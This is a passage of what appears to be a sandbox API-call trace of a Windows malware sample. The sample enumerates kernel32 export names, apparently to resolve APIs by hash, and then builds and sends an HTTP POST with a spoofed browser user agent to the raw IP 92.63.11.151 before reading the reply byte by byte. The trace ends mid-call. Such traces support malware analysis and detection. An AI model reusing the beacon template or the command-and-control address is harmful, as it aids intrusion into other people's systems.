(lpString="CLOSESTATE") returned 10 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0118.016] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0118.016] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0118.016] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0118.016] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0118.016] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0118.016] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0118.016] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0118.016] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0118.016] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0118.016] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0118.016] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0118.016] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0118.016] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0118.016] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0118.016] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0118.016] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0118.017] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0118.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0118.017] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0118.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0118.017] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0118.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0118.017] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0118.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0118.017] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0118.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0118.017] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0118.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0118.017] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0118.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0118.017] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0118.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0118.017] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0118.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0118.017] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0118.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0118.017] lstrlenA (lpString="COPYCONTEXT") returned 11 [0118.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0118.017] lstrlenA (lpString="COPYFILE2") returned 9 [0118.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0118.017] lstrlenA (lpString="COPYFILEA") returned 9 [0118.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0118.017] lstrlenA (lpString="COPYFILEEXA") returned 11 [0118.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0118.017] lstrlenA (lpString="COPYFILEEXW") returned 11 [0118.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0118.017] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0118.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0118.017] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0118.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0118.017] lstrlenA (lpString="COPYFILEW") returned 9 [0118.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0118.017] lstrlenA (lpString="COPYLZFILE") returned 10 [0118.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0118.017] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0118.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0118.017] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0118.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0118.018] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0118.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0118.018] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0118.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0118.018] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0118.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0118.018] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0118.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0118.018] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0118.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0118.018] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0118.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0118.018] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0118.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0118.018] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0118.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0118.018] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0118.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0118.018] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0118.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0118.018] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0118.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0118.018] lstrlenA (lpString="CREATEEVENTA") returned 12 [0118.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0118.018] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0118.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0118.018] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0118.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0118.018] lstrlenA (lpString="CREATEEVENTW") returned 12 [0118.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0118.018] lstrlenA (lpString="CREATEFIBER") returned 11 [0118.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0118.018] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0118.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0118.018] lstrlenA (lpString="CREATEFILE2") returned 11 [0118.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0118.018] lstrlenA (lpString="CREATEFILEA") returned 11 [0118.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0118.019] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0118.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0118.019] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0118.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0118.019] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0118.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0118.019] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0118.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0118.019] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0118.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0118.019] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0118.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0118.019] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0118.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0118.019] lstrlenA (lpString="CREATEFILEW") returned 11 [0118.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0118.019] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0118.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0118.019] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0118.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0118.019] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0118.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0118.019] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0118.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0118.019] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0118.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0118.019] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0118.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0118.019] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0118.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0118.019] lstrlenA (lpString="CREATEJOBSET") returned 12 [0118.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0118.019] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0118.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0118.019] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0118.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0118.019] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0118.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0118.020] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0118.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0118.020] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0118.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0118.020] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0118.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0118.020] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0118.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0118.020] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0118.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0118.020] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0118.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0118.020] lstrlenA (lpString="CREATEPIPE") returned 10 [0118.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0118.020] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0118.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0118.020] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0118.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0118.020] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0118.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0118.020] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0118.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0118.020] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0118.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0118.020] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0118.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0118.020] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0118.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0118.020] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0118.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0118.020] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0118.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0118.020] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0118.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0118.020] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0118.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0118.020] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0118.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0118.020] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0118.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0118.020] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0118.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0118.021] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0118.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0118.021] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0118.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0118.021] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0118.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0118.021] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0118.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0118.021] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0118.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0118.021] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0118.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0118.021] lstrlenA (lpString="CREATETHREAD") returned 12 [0118.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0118.021] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0118.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0118.021] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0118.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0118.021] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0118.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0118.021] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0118.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0118.021] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0118.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0118.021] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0118.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0118.021] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0118.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0118.021] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0118.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0118.022] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.022] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.023] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0118.023] wsprintfA (in: param_1=0x3c80000, param_2="POST /%s HTTP/1.1\r\nUser-Agent: %s\r\nHost: %s\r\nContent-Type: %s\r\nContent-Length: %d\r\nConnection: Keep-Alive\r\n\r\n" | out: param_1="POST /news/signin/stmxoom.cgi?sle=36r41so03 HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko\r\nHost: 92.63.11.151\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 221\r\nConnection: Keep-Alive\r\n\r\n") returned 256 [0118.023] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.023] send (s=0x544, buf=0x3c80000*, len=477, flags=0) returned 477 [0118.024] shutdown (s=0x544, how=1) returned 0 [0118.024] recv (in: s=0x544, buf=0x2e7f828, len=1, flags=0 | out: buf=0x2e7f828*) returned 1 [0118.109] recv (in: s=0x544, buf=0x2e7f829, len=1, flags=0 | out: buf=0x2e7f829*) returned 1 [0118.109] recv (in: s=0x544, buf=0x2e7f82a, len=1, flags=0 | out: buf=0x2e7f82a*) returned 1 [0118.109] recv (in: s=0x544, buf=0x2e7f82b, len=1, flags=0 | out: buf=0x2e7f82b*) returned 1 [0118.109] recv (in: s=0x544, buf=0x2e7f82c, len=1, flags=0 | out: buf=0x2e7f82c*) returned 1 [0118.110] recv (in: s=0x544, buf=0x2e7f82d, len=1, flags=0 | out: buf=0x2e7f82d*) returned 1 [0118.110] recv (in: s=0x544, buf=0x2e7f82e, len=1, flags=0 | out: buf=0x2e7f82e*) returned 1 [0118.110] recv (in: s=0x544, buf=0x2e7f82f, len=1, flags=0 | out: buf=0x2e7f82f*) returned 1 [0118.110] recv (in: s=0x544, buf=0x2e7f830, len=1, flags=0 | out: buf=0x2e7f830*) returned 1 [0118.110] recv (in: s=0x544, buf=0x2e7f831, len=1, flags=0 | out: buf=0x2e7f831*) returned 1 [0118.110] recv (in: s=0x544, buf=0x2e7f832, len=1, flags=0 | out: buf=0x2e7f832*) returned 1 [0118.110] recv (in: s=0x544, buf=0x2e7f833, len=1, flags=0 | out: buf=0x2e7f833*) returned 1 [0118.110] recv (in: s=0x544, buf=0x2e7f834, len=1, flags=0 | out: buf=0x2e7f834*) returned 1 [0118.110] recv (in: s=0x544, buf=0x2e7f835, len=1, flags=0 | out: buf=0x2e7f835*) returned 1 [0118.110] recv (in: s=0x544, buf=0x2e7f836, len=1, flags=0 | out: buf=0x2e7f836*) returned 1 [0118.110] recv (in: s=0x544, buf=0x2e7f837, len=1, flags=0 | out: buf=0x2e7f837*) returned 1 [0118.110] recv (in: s=0x544, buf=0x2e7f838, len=1, flags=0 | out: buf=0x2e7f838*) returned 1 [0118.110] recv (in: s=0x544, buf=0x2e7f839, len=1, flags=0 | out: buf=0x2e7f839*) returned 1 [0118.110] recv (in: s=0x544, buf=0x2e7f83a, len=1, flags=0 | out: buf=0x2e7f83a*) returned 1 [0118.110] recv (in: s=0x544, buf=0x2e7f83b, len=1, flags=0 | out: buf=0x2e7f83b*) returned 1 [0118.111] recv (in: s=0x544, buf=0x2e7f83c, len=1, flags=0 | out: buf=0x2e7f83c*) returned 1 [0118.111] recv (in: s=0x544, buf=0x2e7f83d, len=1, flags=0 | out: buf=0x2e7f83d*) returned 1 [0118.111] recv (in: s=0x544, buf=0x2e7f83e, len=1, flags=0 | out: buf=0x2e7f83e*) returned 1 [0118.111] recv (in: s=0x544, buf=0x2e7f83f, len=1, flags=0 | out: buf=0x2e7f83f*) returned 1 [0118.111] recv (in: s=0x544, buf=0x2e7f840, len=1, flags=0 | out: buf=0x2e7f840*) returned 1 [0118.111] recv (in: s=0x544, buf=0x2e7f841, len=1, flags=0 | out: buf=0x2e7f841*) returned 1 [0118.111] recv (in: 